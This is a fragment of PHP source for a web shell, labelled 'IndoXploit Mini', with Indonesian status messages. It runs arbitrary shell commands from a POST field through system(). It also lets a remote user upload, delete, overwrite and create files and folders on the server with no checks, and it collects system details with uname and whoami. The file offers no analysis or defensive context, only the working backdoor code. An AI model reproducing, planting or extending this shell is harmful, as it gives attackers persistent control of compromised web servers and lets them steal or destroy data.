✓ Upload sukses: ' . $_FILES['upload']['name'] . '';
} else {
$message = '✗ Upload gagal';
}
}
// Handle Delete
if(isset($_GET['delete'])) {
$file = $currentDir . $_GET['delete'];
if(unlink($file)) {
$message = '✓ Deleted: ' . $_GET['delete'] . '';
}
}
// Handle Save Edit
if(isset($_POST['save']) && isset($_POST['content'])) {
$file = $currentDir . $_POST['filename'];
if(file_put_contents($file, $_POST['content'])) {
$message = '✓ File saved';
}
}
// Handle Create Folder
if(isset($_GET['mkdir'])) {
$newDir = $currentDir . $_GET['mkdir'];
if(mkdir($newDir)) {
$message = '✓ Folder created';
}
}
// Handle Command
$cmdOutput = '';
if(isset($_POST['cmd']) && $_POST['cmd'] != '') {
ob_start();
system($_POST['cmd'] . " 2>&1");
$cmdOutput = ob_get_clean();
}
// Get directory contents
$items = scandir($currentDir);
$folders = array();
$files = array();
if($items) {
foreach($items as $item) {
if($item == '.' || $item == '..') continue;
$fullPath = $currentDir . $item;
if(is_dir($fullPath)) {
$folders[] = $item;
} else {
$files[] = $item;
}
}
}
sort($folders);
sort($files);
// Get system info
$uname = @exec('uname -a');
$whoami = @exec('whoami');
$pwd = $currentDir;
$phpversion = phpversion();
?>
IndoXploit Mini - PHP